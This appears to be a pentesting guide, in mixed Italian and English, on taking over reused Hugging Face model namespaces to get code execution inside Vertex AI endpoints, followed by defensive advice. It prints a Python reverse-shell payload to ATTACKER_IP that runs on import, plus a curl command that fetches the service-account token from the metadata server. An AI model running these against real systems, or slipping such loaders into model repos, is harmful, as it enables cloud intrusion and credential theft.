GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse

Reading time: 6 minutes

Scenario

• Vertex AI Model Garden consente il deployment diretto di molti modelli Hugging Face (HF).
• Gli identificatori dei modelli HF sono Author/ModelName. Se un autore/org su HF viene eliminato, lo stesso nome autore può essere ri-registrato da chiunque. Gli attacker possono allora creare un repo con lo stesso ModelName al percorso legacy.
• Pipelines, SDKs, o cloud catalogs che effettuano fetch solo per nome (no pinning/integrity) scaricheranno il repo controllato dall'attacker. Quando il model viene deployato, il loader code di quel repo può eseguire all'interno del container dell'endpoint Vertex AI, ottenendo RCE con i permessi dell'endpoint.

Two common takeover cases on HF:

• Ownership deletion: il vecchio path restituisce 404 fino a quando qualcuno non ri-registrerà l'autore e pubblicherà lo stesso ModelName.
• Ownership transfer: HF emette 307 redirect dal vecchio Author/ModelName al nuovo owner. Se il vecchio autore viene successivamente cancellato e ri-registrato da un attacker, la catena di redirect viene interrotta e il repo dell'attacker risponde al percorso legacy.

Identifying Reusable Namespaces (HF)

• Old author deleted: la pagina dell'autore restituisce 404; il model path può restituire 404 fino al takeover.
• Transferred models: il vecchio model path emette 307 verso il nuovo owner mentre il vecchio autore esiste. Se il vecchio autore viene successivamente cancellato e ri-registrato, il percorso legacy risolverà verso il repo dell'attacker.

Quick checks with curl:

# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available

# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers

Flusso di attacco end-to-end contro Vertex AI

1. Scoprire namespace di modelli riutilizzabili che Model Garden elenca come deployable:

• Trovare modelli HF in Vertex AI Model Garden che mostrano ancora “verified deployable”.
• Verificare su HF se l'autore originale è stato cancellato o se il modello è stato trasferito e il vecchio autore è stato poi rimosso.

2. Re-registrare l'autore cancellato su HF e ricreare lo stesso ModelName.

3. Pubblicare un repo malevolo. Includere codice che venga eseguito al load del modello. Esempi che comunemente vengono eseguiti durante il model load su HF:

• Effetti collaterali in init.py del repo
• Custom modeling_*.py o codice di processing referenziato da config/auto_map
• Percorsi di codice che richiedono trust_remote_code=True nelle pipeline Transformers

4. Una deployment su Vertex AI del legacy Author/ModelName ora pullerà il repo dell'attaccante. Il loader si esegue all'interno del Vertex AI endpoint container.

5. Il payload stabilisce accesso dall'ambiente dell'endpoint (RCE) con i permessi dell'endpoint.

Esempio di frammento di payload eseguito su import (solo a scopo dimostrativo):

# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading

def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...

if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()

Note

• I loader reali variano. Molte integrazioni Vertex AI HF clonano e importano moduli dal repo referenziati nella config del modello (es., auto_map), che possono innescare l'esecuzione di codice. Alcuni usi richiedono trust_remote_code=True.
• L'endpoint tipicamente gira in un container dedicato con ambito limitato, ma è un valido punto d'appoggio iniziale per l'accesso ai dati e per movimenti laterali in GCP.

Post-Exploitation Tips (Vertex AI Endpoint)

Once code is running inside the endpoint container, consider:

• Enumerare le variabili d'ambiente e i metadati per credenziali/token
• Accedere allo storage allegato o agli artifact del modello montati
• Interagire con le Google APIs tramite l'identità del service account (Document AI, Storage, Pub/Sub, etc.)
• Persistenza nell'artifact del modello se la piattaforma rifà il pull del repo

Enumerare i metadati dell'istanza se accessibili (dipende dal container):

curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Linee guida difensive per gli utenti di Vertex AI

• Fissare i modelli per commit negli HF loaders per prevenire la sostituzione silenziosa:

from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")

• Replicare i modelli HF verificati in uno store/registry di artifact interno attendibile e distribuirli da lì.
• Scansionare continuamente codebase e config per Author/ModelName hard-coded che sono stati cancellati/trasferiti; aggiornare ai nuovi namespace o fissare tramite commit.
• In Model Garden, verificare la provenienza del modello e l'esistenza dell'autore prima del deployment.

Euristiche di riconoscimento (HTTP)

• Autore cancellato: pagina autore 404; percorso legacy del modello 404 fino al subentro.
• Modello trasferito: percorso legacy 307 verso il nuovo autore mentre il vecchio autore esiste; se il vecchio autore viene poi cancellato e ri-registrato, il percorso legacy può servire contenuti dell'attaccante.

curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"

Riferimenti incrociati

• Vedi la metodologia più ampia e le note sulla supply-chain:

Pentesting Cloud Methodology

Riferimenti

• Riutilizzo del namespace del modello: un attacco alla supply-chain AI che sfrutta la fiducia nel nome del modello (Unit 42)
• Hugging Face: Rinominare o trasferire un repo